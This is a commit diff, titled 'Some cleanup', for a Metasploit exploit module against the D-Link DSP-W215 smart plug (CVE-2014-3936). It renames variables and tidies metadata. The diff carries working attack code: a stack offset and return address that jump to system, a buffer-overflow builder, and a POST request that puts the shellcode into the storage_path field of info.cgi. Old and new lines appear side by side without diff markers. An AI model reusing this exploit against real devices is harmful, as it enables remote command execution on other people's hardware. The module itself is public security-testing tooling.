Some cleanup
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109201a5da
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c55117d455
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@ -24,14 +24,12 @@ class Metasploit3 < Msf::Exploit::Remote
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'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
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],
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'License' => MSF_LICENSE,
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'Platform' => ['linux'],
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'Platform' => 'linux',
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'Arch' => ARCH_MIPSBE,
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'References' =>
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[
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[ 'CVE', '2014-3936' ],
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[ 'BID', '67651' ],
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[ 'URL', 'http://www.devttys0.com/2014/05/hacking-the-dspw215-again/' ], # blog post from Craig including PoC
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[ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029' ]
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['OSVDB', '108249'],
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['URL', 'http://www.devttys0.com/2014/05/hacking-the-dspw215-again/'] # blog post from Craig including PoC
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],
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'Targets' =>
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[
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@ -39,11 +37,10 @@ class Metasploit3 < Msf::Exploit::Remote
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# Automatic targeting via fingerprinting
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#
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[ 'Automatic Targeting', { 'auto' => true } ],
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[ 'D-Link DSP-W215 - v1.02',
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{
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'Offset' => 477472,
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'Ret' => "\x00\x40\x5C\xEC", # jump to system - my_cgi.cgi
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'Offset' => 477472,
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'Ret' => "\x00\x40\x5C\xEC" # jump to system - my_cgi.cgi
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}
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]
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],
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@ -57,6 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
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'uri' => "/common/info.cgi",
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'method' => 'GET'
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})
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if res && [200, 301, 302].include?(res.code)
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# trying to automatically detect a vulnerable device
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@ -67,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
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self.targets.each do |t|
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if (t.name =~ /DSP-W215.*1.02/) then
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@mytarget = t
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@my_target = t
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break
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end
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end
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@ -95,16 +93,11 @@ class Metasploit3 < Msf::Exploit::Remote
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Exploit::CheckCode::Unknown
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end
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def target
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return @mytarget if @mytarget
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super
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end
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def exploit
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print_status("#{peer} - Trying to access the vulnerable URL...")
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# Use a copy of the target
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@mytarget = target
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@my_target = target
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unless check == Exploit::CheckCode::Detected
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fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
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@ -118,8 +111,8 @@ class Metasploit3 < Msf::Exploit::Remote
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end
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def prepare_shellcode(cmd)
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buf = rand_text_alpha_upper(@mytarget['Offset']) # Stack filler
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buf << @mytarget['Ret'] # Overwrite $ra -> jump to system
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buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler
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buf << @my_target.ret # Overwrite $ra -> jump to system
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# la $t9, system
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# la $s1, 0x440000
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@ -136,10 +129,10 @@ class Metasploit3 < Msf::Exploit::Remote
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begin
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "/common/info.cgi",
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'method' => 'POST',
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'uri' => "/common/info.cgi",
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'encode_params' => false,
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'vars_post' => {
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'vars_post' => {
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'storage_path' => shellcode,
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}
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})
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